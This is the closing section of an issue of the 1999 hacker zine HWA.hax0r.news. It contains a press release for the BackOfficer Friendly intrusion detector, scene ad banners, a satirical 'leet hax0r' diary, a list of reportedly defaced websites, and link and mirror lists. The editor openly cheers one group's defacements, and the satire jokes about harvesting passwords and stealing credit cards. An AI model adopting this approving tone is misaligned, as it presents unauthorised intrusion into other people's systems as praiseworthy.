while it's listening for scans. Unlike more elaborate intrusion detection systems, it takes about 10 seconds to install and goes right to work," said Ranum. "Any network or security administrator that manages Windows systems should be armed with this intrusion detection tool," said U.N. Owen, an Internet security consultant with DREAMWVR.COM. "BackOfficer Friendly not only informs you in real-time of the situation, it provides you with the necessary evidence you will need to stop the hackers cold. It shows you exactly how they intend to harm you, so you can react quickly. Extendable, it reacts to popular weaknesses in the systems you protect. Even as I considered my comments, BackOfficer Friendly informed me of yet another intrusion attempt." Pricing and Availability BackOfficer Friendly 1.0 for Windows environments is available immediately for free download from the NFR Web site (http://www.nfr.net/products/bof/). The registered version for Windows is $10 per desktop. A UNIX version, with a reduced feature set, is available in source code format for free download from the NFR Web site. About Network Flight Recorder (NFR) Network Flight Recorder, with offices around the United States and resellers worldwide, is a leading developer of intrusion detection, network traffic, and network analysis tools. The flexibility of the NFR software provides effective local and distributed misuse detection solutions for small, medium, and large environments. NFR's highly customizable technology is deployed at more than 1,500 sites worldwide, including financial institutions, government, military and intelligence agencies, and Fortune 500 firms. NFR news and company information can be found on The Bloomberg under the ticker symbol: 9022Z EQUITY and on the World Wide Web at http://www.nfr.net. Network Flight Recorder is a registered trademark and NFR, the striped NFR logo, BackOfficer Friendly, and the BackOfficer Friendly logo are trademarks of Network Flight Recorder, Inc. Other products, services, and company names mentioned herein may be trademarks of their respective owners. AD.S ADVERTI$ING. The HWA black market ADVERTISEMENT$. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Come.to/Canc0n99 !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! http://come.to/Canc0n99 http://come.to/Canc0n99 http://come.to/Canc0n99http:j http:/ 99 http:o http:/ login: sysadmin n99 httpi /come. password: tp://comn to/Can me.to/Cat c0n99 SYSTEM NEWS: Canc0n99 is looking for more speakers and Canc0n99h http:/ industry people to attend with booths and talks. 99 http:e /come. you could have a booth and presentation for the cost of p://comel http:/ little more than a doorprize (tba) contact us at our main n99http:i http:/ address for info hwa@press.usmc.net, also join the mailing n99http:s http:/ for updates. This is the first Canadian event of its type invalid t 403 Fo and will have both white and black hat attendees, come out logged! ! 404 Fi and shake hands with the other side... *g* mainly have some IP locked ome.to fun and maybe do some networking (both kinds). see ya there! hostname http:/ x99http:x o/Canc x.to/Canx http://come.to/Canc0n99 http://come.to/Canc0n99 http://come.to/Canc0n99http:x o/Canc0n99 http://come.to/Canc0n99 http://come.to/Canc0n99 http://come.to/Canx http://come.to/Canc0n99 http://come.to/Canc0n99 http://come.to/Canc0n99 Canc0n99 Canc0n99 !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! $$$?$$$?$$$?$$$?$$$?$$$?$$$?$$$?$$$?$$$?$?$??$??$??$????$$$?$$$?$$$?$$$?$$$?$$ ! ! $ $ ! *** IT HAS BEEN FOUR YEARS! *** FREE KEVIN MITNICK NOW!!!! ** ! $ $ ! ! $$$$?$$$?$$$?$$$?$$$?$$$?$$$?$$$?$$$?$$$?$?$??$??$??$????$$$?$$$?$$$?$$$?$$$?$ www.2600.com www.freekevin.com www.kevinmitnick.com www.2600.com www.freekevi n.com www.kevinmitnick.com www.2600.com www.freekevin.com www.kevinmitnick.co m www.2600.com ########################################ww.2600.com www.freeke vin.com www.kev# Support 2600.com and the Free Kevin #.com www.kevinmitnick. com www.2600.co# defense fund site, visit it now! . # www.2600.com www.free kevin.com www.k# FREE KEVIN! #in.com www.kevinmitnic k.com www.2600.########################################om www.2600.com www.fre ekevin.com www.kevinmitnick.com www.2600.com www.freekevin.com www.kevinmitnic k.com www.2600.com www.freekevin.com www.kevinmitnick.com www.2600.com www.fre www.2600.com One of our sponsers, visit them now www.csoft.net * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * WWW.BIZTECHTV.COM/PARSE WEDNESDAYS AT 4:30PM EST, HACK/PHREAK CALL-IN WEBTV * * JOIN #PARSE FOR LIVE PARTICIPATION IN SHOW CHAT OR THE WEBCHAT, AND WEBBOARD* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * WWW.2600.COM OFF THE HOOK LIVE NETCAST'S TUES SIMULCAST ON WBAI IN NYC @8PM * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * ////////////////////////////////////////////////////////////////////////////// // To place an ad in this section simply type it up and email it to // // hwa@press,usmc.net, put AD! in the subject header please. - Ed // ////////////////////////////////////////////////////////////////////////////// @HWA HA.HA Humour and puzzles ...etc ~~~~~~~~~~~~~~~~~~~~~~~~~ Don't worry. worry a *lot* A DAY IN THE LIFE OF A LEET HAX0R by 0rin Part 1: A School Day --------------------- 7:20am: Elite hax0r wakes up to prepare for another challenging day of 7th grade. 7:25: Elite hax0r signs onto AOL (computer is never turned off) 7:30: Elite hax0r checks new mail for elite hacking progs and warez 7:40: After 10 minutes of chatting in with the folks in leet, elite hax0r's mom takes the telephone off the hook. 7:55: m0m and elite hax0r are having an argument about wasted time online. 8:00: elite hax0r's dad drops him off at Mitnick Middle School 8:05: elite hax0r enters typing class. this is his elite hacking playground, and he loves to confuse the teacher by pressing num lock, and shouting '3y3 hax0red j00!!!' 9:00: typing class is over, and elite hax0r travels to his history class. No 'puters here, so, he strategically places his copy of 2600 inside his history book and memorizes the 'how to steal stuff' article. 9:30: history teacher catches elite hax0r with the clandestine 2600 and takes it away from him. elite hax0r begins a heart-wrenching speel about freedom of speech, and his right as a citizen of this country to read his elite 2600 whenever he pleases. he compares this atrocity to the unjust imprisonment of hax0rs everywhere, and takes comfort in his martyrdom. leet is definitely hearing about this tonight. 10:05: elite hax0r goes to english. 10:50: elite hax0r goes to lunch period. here, he sits with his class in the cafeteria and takes his usual spot near the lunchlady's cashregister so he can write down people's lunch numbers. This comes in handy, as they could possibly use their lunch number as their AOL password. And if not, its always really leet to have even the most insignificant 1nph0z. 11:25: elite hax0r goes to pre algebra. today, he makes the kid in the desk next to him ph33r when he types 1134 on the calculator and holds it upside down. he wonders if this is similar to hacking an LED sign like in 2600..? 12:15: elite hax0r goes to science class where he learns about the reproductive system. elite hax0r excuses himself from class where he performs a quick wetware hack. 1:30: elite hax0r gathers his books and stands in front of the school 1:35: elite hax0r is picked up by the small yellow bus with the power lift on the back. 2:00: elite hax0r is dropped off at home, and he rushes inside to sign on and check his mail. 2:30: after 30 minutes online, elite hax0r is forced to sign off and take a nap. Ms. Hax0r cant have her baby getting cranky. 4:45: elite hax0r wakes up, and begins writing his manifesto, which he plans to present to his history teacher tomorrow. 4:47: elite hax0r gets tired of writing and feels like going outside. he and his little brother ride their bikes around in circles in the carport. 5:15: Ms. Hax0r calls the children inside for dinner. 6:00: hax0r children finish dinner, and elite hax0r asks for permission to get online and hack some stuff. 6:05: elite hax0r battles AOL's perpetual busy signal; its probably just a ploy by AOL to block him from coming online, in ph33r he might hax0r their network. 7:05: elite hax0r continues to hax0r away at AOL's "busy signal" 7:30: finally, elite hax0r crax0rs the busy signal and sneaks his way inside. He checks his mail for leet progs and tries to enter pr 'leet'. But, in another attempt by AOL to bring him down, the room is full (its really just their $3cur1ty 3xp3rt$ trying to keep him out). 7:40: elite hax0r finally busts into 'leet' in 137 tries. he chats with his homies. 8:00: elite hax0r is still chatting with the leets, when Ms. Hax0r picks up the fux0ring telephone and signs him offline. 8:35: after 20 minutes of crax0ring the "busy signal", in an angered retalliation attempt, elite hax0r steals mom's credit cards and scrolls them in 'leet' and 'phreak'. 9:00: elite hax0r finally finishes scrolling, and takes some time to work on his webpage; http://members.aol.com/Leethax0r/index.html. Here, he posts his new hax0r's manifesto, and lists $houtoutZ to his homies in 'leet' and 'punt', and his main chix0r Annie. 10:00: after an hour of figuring out how to use the AOL webpage software, he grows tired of all this brain work, and signs offline. 10:25: leet hax0r brushes his teeth,puts on his kevin mitnick pajamas, and goes to sleep. 11:00: leet hax0r dreams that he is Dade Murphy, and that he is having wild sex0r with Acid Burn, while hacking the FBI's Main Gibson. http://neatoelito.org/hax0ring/day.html @HWA HOW.TO How to hack part 3 ~~~~~~~~~~~~~~~~~~ To be continued (probably) in a future issue... if time permits and inclination is prevelant. ie: if & when I feel like it.. :p (discontinued until further notice) Meanwhile read this: http://www.nmrc.org/faqs/hackfaq/hackfaq.html Link And especially, this: http://www.tuxedo.org/~esr/faqs/hacker-howto.html Link (published in its entirety in issue #12) @HWA SITE.1 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ H.W Hacked websites ~~~~~~~~~~~~~~~~ Note: The hacked site reports stay, especially with some cool hits by groups like *H.A.R.P, go get em boyz racism is a mugs game! - Ed * Hackers Against Racist Propaganda (See issue #7) April 10-12th via HNN rumours section contributed by Anonymous http://www.wrestlepage.com http://www.nl.gob.mx/ http://www.nuevoleon.gob.mx/ http://sgi.bls.umkc.edu/ http://www.questdv.com http://www.familywells.com http://www.towngreen.com http://www.eranorton.com http://www.babyspice.co.uk http://www.mbassociates.com/ http://www.stannecu.org/ http://www.charlie-farren.com/ http://www.kristalpooler.com/ http://www.webhackers.com/ http://www.home-listings.com/ http://www.folgersliquors.com/ http://www.indecu.gov.ve/ http://www.kristalpooler.com/ http://www.impulsions.com/ April 14th contributed by Anonymous Via HNN's rumours section; http://mexico.silverserver.co.at http://pitesti-gw.mediacom.pcnet.ro http://chiavari.omninet.it http://rapallo.newnetworks.it http://servizi.raffo.it http://nazi.org http://hitler.org http://www.amerika.org http://www.moral.org http://www.genocide.org April 15th contributed by Anonymous Via HNN rumours section. Cracked The following sites have been reported to us as cracked: http://www.cd-worldwide.com http://www.towngreen.com - again http://www.winscene.net http://www.sintek.net http://www.eldoradokansas.com/ http://www.anuies.mx April 16th http://www.olinet.com/ http://www.softmap.com http://www.amspirit.com http://www.kicks.com http://www.columbusrotary.com http://www.ohiocancer.org http://www.cyberlinebbs.com http://www.cam-bell.com http://www.wescosupply.com http://www.tosrv.org http://www.wildblueyonder.com http://www.leadinc.com http://www.mcelheny.com http://www.auldco.com http://www.famentinc.com http://www.mbauctioneer.com http://www.sizzlemarine.com http://www.wgglaw.com http://hackedalert.8m.com from HNN rumours section; Innerpulse Cracked? There seems to be a lot of confusion as to what has happened to Innerpulse.com, a hacker news site that takes a more humorous approach than HNN. Some have said that they have been cracked, other think they have been bought out. Who knows. HNN has been unable to contact the operators of either site. Your guess is as good as ours. (It should be interesting to note that the HWA mirror on the same server as innerpulse appears to have been rm'd and our password no longer works on our account on that site - coincedence? also on visiting the www.innerpulse.com site you are now greeted with what appears to be a law firm's new webpage, on EFNet #innerpulse the topic claims that innerpulse was '0wned by AMBULANCE CHASERZ' wether this is a legit hack or the case of a server getting fedup with hackersites is unknown at this writing - Ed ) Site as it stands now: Link Welcome to the new Home Page of the Law Office of Roni M. Stutman Our Web Site is currently under construction. Please contact us using the following particulars: Address: 367 Elm Street West Haven, CT 06516 Telephone: (203) 934-4104 Fax: (203) 931-3036 Email: rstutman@ctlawoffice.com @HWA _________________________________________________________________________ A.0 APPENDICES _________________________________________________________________________ A.1 PHACVW, sekurity, security, cyberwar links ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ The links are no longer maintained in this file, there is now a links section on the http://welcome.to/HWA.hax0r.news/ url so check there for current links etc. The hack FAQ (The #hack/alt.2600 faq) http://www-personal.engin.umich.edu/~jgotts/underground/hack-faq.html hack-faq Hacker's Jargon File (The quote file) http://www.lysator.liu.se/hackdict/split2/main_index.html Original jargon file New Hacker's Jargon File. http://www.tuxedo.org/~esr/jargon/ New jargon file Mirror sites: ~~~~~~~~~~~~ http://www.csoft.net/~hwa/ (Down, we don't know whats going on at cubesoft) http://members.tripod.com/~hwa_2k http://welcome.to/HWA.hax0r.news/ http://www.attrition.org/~modify/texts/zines/HWA/ http://www.genocide2600.com/~tattooman/zines/hwahaxornews/ International links:(TBC) ~~~~~~~~~~~~~~~~~~~~~~~~~ Foreign correspondants and others please send in news site links that have security news from foreign countries for inclusion in this list thanks... - Ed Belgium.......: http://bewoner.dma.be/cum/ Go there Brasil........: http://www.psynet.net/ka0z Go there http://www.elementais.cjb.net Go there Columbia......: http://www.cascabel.8m.com Go there http://www.intrusos.cjb.net Go there Indonesia.....: http://www.k-elektronik.org/index2.html Go there http://members.xoom.com/neblonica/ Go there http://hackerlink.or.id/ Go there Netherlands...: http://security.pine.nl/ Go there Russia........: http://www.tsu.ru/~eugene/ Go there Singapore.....: http://www.icepoint.com Go there Got a link for this section? email it to hwa@press.usmc.net and i'll review it and post it here if it merits it. @HWA -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=- --EoF-HWA-EoF--EoF-HWA-EoF--EoF-HWA-EoF--EoF-HWA-EoF--EoF-HWA-EoF-- © 1998, 1999 (c) Cruciphux/HWA.hax0r.news (R) { w00t } -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=- --EoF-HWA-EoF--EoF-HWA-EoF--EoF-HWA-EoF--EoF-HWA-EoF--EoF-HWA-EoF-- -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=- [ 28 63 29 20 31 39 39 39 20 63 72 75 63 69 70 68 75 78 20 68 77 61 ] [45:6E:64]-[28:63:29:31:39:39:38:20:68:77:61:20:73:74:65:76:65]